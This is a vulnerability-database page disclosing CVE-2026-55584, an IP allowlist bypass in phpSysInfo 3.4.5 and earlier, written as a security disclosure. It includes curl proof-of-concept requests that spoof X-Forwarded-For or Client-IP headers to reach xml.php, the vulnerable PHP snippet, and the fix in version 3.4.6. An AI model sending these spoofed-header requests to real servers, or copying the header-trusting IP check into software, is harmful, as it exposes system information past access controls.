Lucene search
+L

📄 phpSysInfo 3.4.5 IP Allowlist Bypass

🗓️ 26 Jun 2026 00:00:00Reported by Muhammed Mirac KayıkciType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 88 Views

CVE-2026-55584: phpSysInfo <=3.4.5 allowlist bypass via X-Forwarded-For headers, exposing full system info.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-55584
16 Jul 202619:00
circl
cve
CVE
CVE-2026-55584
28 Aug 202618:29
cve
cvelist
Cvelist
CVE-2026-55584 phpSysInfo: IP allowlist (PSI_ALLOWED) bypass via spoofed X-Forwarded-For / Client-IP headers
28 Aug 202618:29
cvelist
debiancve
Debian CVE
CVE-2026-55584
28 Aug 202618:29
debiancve
exploitdb
Exploit DB
phpSysInfo 3.4.5 - IP Allowlist Bypass
17 Aug 202600:00
exploitdb
euvd
EUVD
EUVD-2026-67862
28 Aug 202618:29
euvd
github
Github Security Blog
phpSysInfo has an IP allowlist (PSI_ALLOWED) bypass via spoofed X-Forwarded-For / Client-IP headers
28 Aug 202618:30
github
kitploit
Kitploit
CVE-2026-55584
8 Sep 202608:17
kitploit
nvd
NVD
CVE-2026-55584
28 Aug 202620:18
nvd
osv
OSV
DEBIAN-CVE-2026-55584
28 Aug 202620:18
osv
Rows per page
# CVE-2026-55584 - phpSysInfo IP Allowlist Bypass
    
    CWE-290, CVSS 7.5 (High), phpSysInfo <= 3.4.5
    
    Refs: [GHSA-786w-p5pm-cvgh](https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh), [CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-55584)
    
    `PSI_ALLOWED` resolves the client IP from the attacker-controlled `X-Forwarded-For` (then `Client-IP`) headers before falling back to `REMOTE_ADDR`. There is no trusted-proxy concept, so spoofing an allowed IP defeats the allowlist and exposes full system info via `xml.php`.
    
    PoC:
    
    ```bash
    # allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
    curl -s http://target/xml.php                                # "Client IP address (...) not allowed."
    curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php  # bypass, full XML
    curl -s -H "Client-IP: 8.8.8.8"       http://target/xml.php  # bypass, full XML
    ```
    
    Vulnerable code (`read_config.php`):
    
    ```php
    if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    } else {
        $ip = $_SERVER["REMOTE_ADDR"];   // only trustworthy source, checked last
    }
    ```
    
    Fixed 3.4.6 (019fa2d): default to `REMOTE_ADDR`; honor `X-Forwarded-For` / `Client-IP` only from configured trusted proxies.
    
    Reported by Muhammed Mirac Kayıkci

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jun 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
EPSS0.02417
88